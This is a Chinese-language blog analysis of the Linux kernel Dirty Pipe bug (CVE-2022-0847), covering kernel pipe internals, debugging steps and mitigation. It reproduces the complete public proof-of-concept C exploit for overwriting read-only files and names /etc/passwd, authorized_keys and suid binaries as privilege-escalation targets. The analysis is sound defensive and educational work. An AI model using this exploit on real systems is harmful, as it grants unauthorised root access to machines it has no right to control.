[漏洞分析] CVE-2022-0847 Dirty Pipe linux内核提权分析

CVE-2022-0847 Dirty Pipe linux内核提权分析

文章目录

  • CVE-2022-0847 Dirty Pipe linux内核提权分析
    • 漏洞简介
    • 环境搭建
    • 漏洞原理
      • 漏洞发生点
      • pipe原理与pipe_write
      • splice到copy_page_to_iter_pipe
      • linux 内核page cache机制
    • 漏洞利用
      • 细节调试
      • exp
      • 一些小限制(无伤大雅)
    • 缓解措施
      • 建议方案
      • 漏洞验证(工具)
    • 参考
    • 阴谋论

本文首发于华为安全公众号,这是博客版(比较完整)

首发链接:https://mp.weixin.qq.com/s/6VhWBOzJ7uu80nzFxe5jpg

github地址: chenaotian/CVE-2022-0847

漏洞简介

漏洞编号: CVE-2022-0847 (别名: 脏管道dirty pipe)

漏洞产品: linux kernel - splice syscall

影响版本: linux 5.8 补丁 f6dd975583bd 引入~ 5.16.11、5.15.25、5.10.102 修复

漏洞危害: 对任意可读文件写不超过一页的内容(足够了),可本地提权。

环境搭建

漏洞分析docker:chenaotian/cve-2022-0847 (如果还访问不了那就是我还没做好传上去)

提供了:

  • 编译的有漏洞的可调式内核5.13
  • qemu 、gdb、linux 内核5.13源码
  • exp

启动:

cd ~/cve-2022-0847
gcc exp.c -o exp --static && cp exp ./rootfs && cd rootfs
find . | cpio -o --format=newc > ../rootfs.img
cd ../ 
./boot.sh

调试:

gdb ./vmlinux
target remote :10086
directory /root/linux-5.13
b do_splice
b copy_page_to_iter_pipe 
b pipe_write
ignore 3 15
...
p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]

漏洞原理

漏洞简要原理是,调用splice 函数可以通过"零拷贝"的形式将文件发送到pipe,代码层面的零拷贝是直接将文件缓存页(page cache)作为pipebuf页使用。但这里引入了一个变量未初始化漏洞,导致文件缓存页会在后续pipe 通道中被当成普通pipe缓存页而被"续写"进而被篡改。然而,在这种情况下,内核并不会将这个缓存页判定为"脏页",短时间内(到下次重启之类的)不会刷新到磁盘。在这段时间内所有访问该文件的场景都将使用被篡改的文件缓存页,也就达成了一个"短时间内对任意可读文件任意写"的操作。可以完成本地提权。

漏洞发生点

根据补丁,漏洞发生点位于copy_page_to_iter_pipe 函数,增加了对buf->flags的初始化操作,所以这是一个变量未初始化漏洞。

[漏洞分析] CVE-2022-0847 Dirty Pipe linux内核提权分析_第1张图片

copy_page_to_iter_pipe 的调用点出现在 splice 系统调用之中。splice 函数(系统调用)通过一种"零拷贝"的方法将文件内容输送到管道之中。相比传统的直接将文件内容送入管道性能更好。具体在下文介绍。

pipe原理与pipe_write

首先,漏洞别名脏管道,先了解一下管道(pipe)。pipe 是内核提供的一个通信管道,通过pipe/pipe2 函数创建,返回两个文件描述符,一个用于发送数据,另一个用于接受数据,类似管道的两段,具体使用不多bb。

[漏洞分析] CVE-2022-0847 Dirty Pipe linux内核提权分析_第2张图片

简单说一下在内核中的实现,通常pipe 缓存空间总长度65536 字节用页的形式进行管理,总共16页(一页4096字节),页面之间并不连续,而是通过数组进行管理,形成一个环形链表。维护两个链表指针,一个用来写(pipe->head),一个用来读(pipe->tail),这里主要分析一下pipe_write 函数:

linux-5.13\fs\pipe.c : 400 : pipe_write

static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
	struct file *filp = iocb->ki_filp;
	struct pipe_inode_info *pipe = filp->private_data;
	unsigned int head;
	ssize_t ret = 0;
	size_t total_len = iov_iter_count(from);
	ssize_t chars;
	bool was_empty = false;
	bool wake_next_writer = false;

	··· ···
    ··· ···
	head = pipe->head;
	was_empty = pipe_empty(head, pipe->tail);
	chars = total_len & (PAGE_SIZE-1);
	if (chars && !was_empty) { 
        //[1]pipe 缓存不为空,则尝试是否能从当前最后一页"接着"写
		unsigned int mask = pipe->ring_size - 1;
		struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
		int offset = buf->offset + buf->len; 

		if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
		    offset + chars <= PAGE_SIZE) { 
            /*[2]关键,如果PIPE_BUF_FLAG_CAN_MERGE 标志位存在,代表该页允许接着写
             *如果写入长度不会跨页,则接着写,否则直接另起一页 */
			ret = pipe_buf_confirm(pipe, buf);
			···
			ret = copy_page_from_iter(buf->page, offset, chars, from);
			···
			}
			buf->len += ret;
			···
		}
	}

	for (;;) {//[3]如果上一页没法接着写,则重新起一页
		··· ···
		head = pipe->head;
		if (!pipe_full(head, pipe->tail, pipe->max_usage)) {
			unsigned int mask = pipe->ring_size - 1;
			struct pipe_buffer *buf = &pipe->bufs[head & mask];
			struct page *page = pipe->tmp_page;
			int copied;

			if (!page) {//[4]重新申请一个新页
				page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
				if (unlikely(!page)) {
					ret = ret ? : -ENOMEM;
					break;
				}
				pipe->tmp_page = page;
			}

			spin_lock_irq(&pipe->rd_wait.lock);

			head = pipe->head;
			··· ···
			pipe->head = head + 1;
			spin_unlock_irq(&pipe->rd_wait.lock);

			/* Insert it into the buffer array */
			buf = &pipe->bufs[head & mask];
			buf->page = page;//[5]将新申请的页放到页数组中
			buf->ops = &anon_pipe_buf_ops;
			buf->offset = 0;
			buf->len = 0;
			if (is_packetized(filp))
				buf->flags = PIPE_BUF_FLAG_PACKET;
			else
				buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
            	//[6]设置flag,默认PIPE_BUF_FLAG_CAN_MERGE
			pipe->tmp_page = NULL;

			copied = copy_page_from_iter(page, 0, PAGE_SIZE, from); 
            //[7]拷贝操作
			··· ···
			ret += copied;
			buf->offset = 0;
			buf->len = copied;

			··· ···
		}
        ··· ···
    }
	··· ···
	return ret;
}
  1. 如果当前管道(pipe)中不为空(head==tail判定为空管道),则说明现在管道中有未被读取的数据,则获取head 指针,也就是指向最新的用来写的页,查看该页的lenoffset(为了找到数据结尾)。接下来尝试在当前页面续写
  2. 判断 当前页面是否带有 PIPE_BUF_FLAG_CAN_MERGE flag标记,如果不存在则不允许在当前页面续写。或当前写入的数据拼接在之前的数据后面长度超过一页(即写入操作跨页),如果跨页,则无法续写。
  3. 如果无法在上一页续写,则另起一页
  4. alloc_page 申请一个新的页
  5. 将新的页放在数组最前面(可能会替换掉原有页面),初始化值。
  6. buf->flag 默认初始化为PIPE_BUF_FLAG_CAN_MERGE ,因为默认状态是允许页可以续写的。
  7. 拷贝写入的数据,没拷贝完重复上述操作。

漏洞利用的关键就是在splice 中未被初始化的PIPE_BUF_FLAG_CAN_MERGE flag标记,这代表我们能否在一个"没写完"的pipe 页续写。

splice到copy_page_to_iter_pipe

上面提到了,pipe 就是通过管理16 个页来作为缓存。splice 的零拷贝方法就是,直接用文件缓存页来替换pipe 中的缓存页(更改pipe缓存页指针指向文件缓存页)。

[漏洞分析] CVE-2022-0847 Dirty Pipe linux内核提权分析_第3张图片

splice 系统调用到漏洞函数copy_page_to_iter_pipe 调用栈很深,具体不详细分析,调用栈如下:

  • SYSCALL_DEFINE6(splice,...) -> __do_sys_splice -> __do_splice-> do_splice
    • splice_file_to_pipe -> do_splice_to
      • generic_file_splice_read(in->f_op->splice_read 默认为 generic_file_splice_read)
        • call_read_iter -> filemap_read
          • copy_page_to_iter -> copy_page_to_iter_pipe

漏洞所在的copy_page_to_iter_pipe 函数主要做的工作就是将pipe 缓存页结构指向要传输的文件的文件缓存页:

linux-5.13\lib\iov_iter.c : 417 : copy_page_to_iter_pipe

static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
			 struct iov_iter *i)
{
	struct pipe_inode_info *pipe = i->pipe;
	struct pipe_buffer *buf;
	unsigned int p_tail = pipe->tail;
	unsigned int p_mask = pipe->ring_size - 1;
	unsigned int i_head = i->head;
	size_t off;

	··· ···

	off = i->iov_offset;
	buf = &pipe->bufs[i_head & p_mask];//[1]获取对应的pipe 缓存页
	··· ···
	
	buf->ops = &page_cache_pipe_buf_ops;//[2]修改pipe 缓存页的相关信息指向文件缓存页
	get_page(page);
	buf->page = page;//[2]页指针指向了文件缓存页
	buf->offset = offset;//[2]offset len 等设置为当前信息(通过splice 传入参数决定)
	buf->len = bytes;

	pipe->head = i_head + 1;
	i->iov_offset = offset + bytes;
	i->head = i_head;
out:
	i->count -= bytes;
	return bytes;
}
  1. 首先根据pipe 页数组环形结构,找到当前写指针(pipe->head) 位置
  2. 将当前需要写入的页指向准备好的文件缓存页,并设置其他信息,比如len 是由splice 系统调用的传入参数决定的。这里唯独没有初始化flag,造成漏洞。

一般初始化完pipe->bufs长这样:

[漏洞分析] CVE-2022-0847 Dirty Pipe linux内核提权分析_第4张图片

这时根据上面分析过的pipe_write 代码,如果重新调用pipe_writepipe 中写数据,写指针(pipe->head) 指向上图中的页,flagPIPE_BUF_FLAG_CAN_MERGE ,则会认为可以接着该页继续写,只要写入长度不跨页:

#define PIPE_BUF_FLAG_CAN_MERGE	0x10	/* can merge buffers */

if (chars && !was_empty) { 
        //[1]pipe 缓存不为空,则尝试是否能从当前最后一页"接着"写
		unsigned int mask = pipe->ring_size - 1;
		struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
		int offset = buf->offset + buf->len; 

    if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
                offset + chars <= PAGE_SIZE) { 
                /*[2]关键,如果PIPE_BUF_FLAG_CAN_MERGE 标志位存在,代表该页允许接着写
                 *如果写入长度不会跨页,则接着写,否则直接另起一页 */
                ret = pipe_buf_confirm(pipe, buf);
                ···
                ret = copy_page_from_iter(buf->page, offset, chars, from);

linux 内核page cache机制

linux 通过将打开的文件放到缓存页之中,缓存页被使用过后也会保存一段时间避免不必要的IO操作。短时间内访问同一个文件,都会操作相同的文件缓存页,而不是反复打开。而我们通过该方法篡改了这个文件缓存页,则短时间内访问(读取)该文件的操作都会读到被我们篡改的文件缓存页上,完成利用。

漏洞利用

上面已经描述过了,漏洞利用过程非常简单,看懂漏洞原理即可利用。根据作者的操作,大概分为以下几步:

  1. 创建一个管道
  2. 将管道填充满(通过pipe_write),这样所有的buf(pipe 缓存页)都初始化过了,flag 默认初始化为PIPE_BUF_FLAG_CAN_MERGE
  3. 将管道清空(通过pipe_read),这样通过splice 系统调用传送文件的时候就会使用原有的初始化过的buf结构。
  4. 调用splice 函数将想要篡改的文件传送入
  5. 继续向pipe写入内容(pipe_write),这时就会覆盖到文件缓存页了,完成暂时文件篡改。

细节调试

第二步结束,管道填满又清空之后,可以看到bufs 结构中就是接下来未初始化内容要复用的数据:

p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]

[漏洞分析] CVE-2022-0847 Dirty Pipe linux内核提权分析_第5张图片

splice 之后文件传入之后,变为,其中flag 未被初始化,并且这里len 要设置的尽量小,因为越小我们后续"续写"时能写的长度就越长,这里设置为1,偏移为我们想要篡改的起始地址,这里会将pipe->bufs->page 指针指向起始地址:

splice(fd, &offset, p[1], NULL, 1, 0);

[漏洞分析] CVE-2022-0847 Dirty Pipe linux内核提权分析_第6张图片

再一次pipe_write,满足续写条件,直接在页面续写:

[漏洞分析] CVE-2022-0847 Dirty Pipe linux内核提权分析_第7张图片

exp

不是我写的,漏洞披露之中的:

/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann 
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

int main(int argc, char **argv)
{
	if (argc != 4) {
		fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
		return EXIT_FAILURE;
	}

	/* dumb command-line argument parser */
	const char *const path = argv[1];
	loff_t offset = strtoul(argv[2], NULL, 0);
	const char *const data = argv[3];
	const size_t data_size = strlen(data);

	if (offset % PAGE_SIZE == 0) {
		fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
		return EXIT_FAILURE;
	}

	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
	const loff_t end_offset = offset + (loff_t)data_size;
	if (end_offset > next_page) {
		fprintf(stderr, "Sorry, cannot write across a page boundary\n");
		return EXIT_FAILURE;
	}

	/* open the input file and validate the specified offset */
	const int fd = open(path, O_RDONLY); // yes, read-only! :-)
	if (fd < 0) {
		perror("open failed");
		return EXIT_FAILURE;
	}

	struct stat st;
	if (fstat(fd, &st)) {
		perror("stat failed");
		return EXIT_FAILURE;
	}

	if (offset > st.st_size) {
		fprintf(stderr, "Offset is not inside the file\n");
		return EXIT_FAILURE;
	}

	if (end_offset > st.st_size) {
		fprintf(stderr, "Sorry, cannot enlarge the file\n");
		return EXIT_FAILURE;
	}

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
	if (nbytes < 0) {
		perror("splice failed");
		return EXIT_FAILURE;
	}
	if (nbytes == 0) {
		fprintf(stderr, "short splice\n");
		return EXIT_FAILURE;
	}

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, data_size);
	if (nbytes < 0) {
		perror("write failed");
		return EXIT_FAILURE;
	}
	if ((size_t)nbytes < data_size) {
		fprintf(stderr, "short write\n");
		return EXIT_FAILURE;
	}

	printf("It worked!\n");
	return EXIT_SUCCESS;
}

提权成功:

gcc exp.c -o exp --static
./exp file offset string

[漏洞分析] CVE-2022-0847 Dirty Pipe linux内核提权分析_第8张图片

目前是演示了任意文件写的效果,具体利用可以修改/etc/passwd、或者sshkey 或者一些suid 文件之类的完成实际提权。这里不实际操作了(反正我又不去渗透)。

一些小限制(无伤大雅)

  1. 无法改变文件大小(无法让文件更大)
  2. 单次写入长度不能超过一页(4k)

缓解措施

建议方案

由于是内核漏洞,暂无很好的处置方案,建议升级内核到修复的版本: 5.16.11、5.15.25、5.10.102及以上。

漏洞验证(工具)

根据漏洞披露者发布的POC,写了一个简单的验证工具。存在漏洞输出"There is CVE-2022-0847":

在这里插入图片描述

不存在漏洞输出"You are safe!"。

参考

漏洞披露:https://dirtypipe.cm4all.com/

阴谋论

PIPE_BUF_FLAG_CAN_MERGE 这个flag 总共就出现了5次,一次#define 声明,两次在pipe_write 里。剩下两次都在splice 之中:

[漏洞分析] CVE-2022-0847 Dirty Pipe linux内核提权分析_第9张图片

而且根据这个变量参与的代码可知,这个变量的意义就是是否允许在当前最新pipe 缓存页中续写;一般pipe 自己申请的页,就是个普通页,续写就续写很正常。什么情况不能续写,那就是这个页不是你pipe 自己申请的页,你不可以随便改。所以由目前的状况来看,几乎也就splice 中涉及到了非pipe 自己申请的页。换言之,PIPE_BUF_FLAG_CAN_MERGE 这个flag 就是为splice 设计的。然后你告诉我你不初始化的吗?

所以我怀疑这漏洞,根本不是马虎…

你可能感兴趣的:(漏洞分析,二进制,#,linux,kernel,CVE-2022-0847,内核提权,网络安全,二进制安全,cve)